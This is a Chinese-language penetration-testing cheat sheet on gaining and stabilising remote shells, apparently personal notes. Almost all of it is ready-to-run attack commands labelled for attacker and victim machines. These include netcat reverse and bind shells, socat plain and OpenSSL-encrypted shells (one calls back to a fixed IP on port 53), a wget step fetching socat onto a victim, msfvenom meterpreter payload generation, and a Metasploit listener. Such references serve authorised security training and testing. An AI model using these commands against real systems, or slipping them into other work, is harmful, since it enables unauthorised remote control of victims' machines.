shell获取
netcat
反向shell
攻击机执行
sudo nc -lvnp 443
被害机执行
nc <IP> <PORT> -e /bin/bash
绑定shell
攻击机执行
nc MACHINE_IP <PORT>
被害机执行
nc -lvnp <PORT> -e "cmd.exe"
稳定shell
python
#备注
1、此方法特别适合linux
2、如果shell死机请键入 `reset`并按 Enter 键,恢复中断输出
#执行
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + Z
stty raw -echo; fg
rlwrap
# 备注
此方法对于windows特别有用
#安装
sudo apt install rlwrap
#Windows执行
rlwrap nc -lvnp <PORT>
#Linux执行
rlwrap nc -lvnp <PORT>
Ctrl + Z
stty raw -echo; fg
socat
#备注
此方法对于linux有效,对于windows效果甚微
#二进制下载
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true
# 下载到受害机
sudo python3 -m http.server 80
wget <LOCAL-IP>/socat -O /tmp/socat
# 运行详见socat标题
socat
建立反向shell
攻击机运行
socat TCP-L:<port> -
受害机运行
#windows
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
#linux
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
建立正向shell
受害机运行
# Linux
socat TCP-L:<PORT> EXEC:"bash -li"
# Windows
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
攻击机运行
socat TCP:<TARGET-IP>:<TARGET-PORT> -
建立更稳定的反向shell
攻击机运行
socat TCP-L:<port> FILE:`tty`,raw,echo=0
受害机运行
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
备注
1、此过程将建立完全交互终端
2、socat shell 无法正常工作添加 `-d -d`命令来增加详细程度是非常值得的
socat 加密shell
创建证书
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
建立反向shell
# 攻击机运行
socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 -
# 受害机运行
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
建立正向shell
# 受害机运行
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# 攻击机运行
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
建立交互式加密反向shell
#攻击机运行
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
#受害机运行
socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
修改shell终端大小
查看shell终端大小
stty -a
设置终端大小
stty rows <number>
stty cols <number>
常见反弹shell负载
# Payloads all the Things
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
# Reverse Shell Cheatsheet
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# kali 自带webshell
/usr/share/webshells
# Seclists repo
https://github.com/danielmiessler/SecLists
Msfvenom
生成反向分阶段msf shell
#winddows 64位
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
#linux 64位
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=<listen-IP> LPORT=<listen-port>
#winddows 32位
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
#linux 32位
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o shell LHOST=<listen-IP> LPORT=<listen-port>
# 生成无阶段则将shell/reverse_tcp 替换为 shell_reverse_tcp
# 生成单纯的shell则将meterpreter 替换为 shell
查看可用的payload
msfvenom --list payloads
metasploit 创建监听
启动 msf
msfconsole
启动监听
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <listen-address>
set LPORT <listen-port>
exploit -j
# payload 必须和负载生成时一致
查看会话
sessions
进入会话
sessions <number>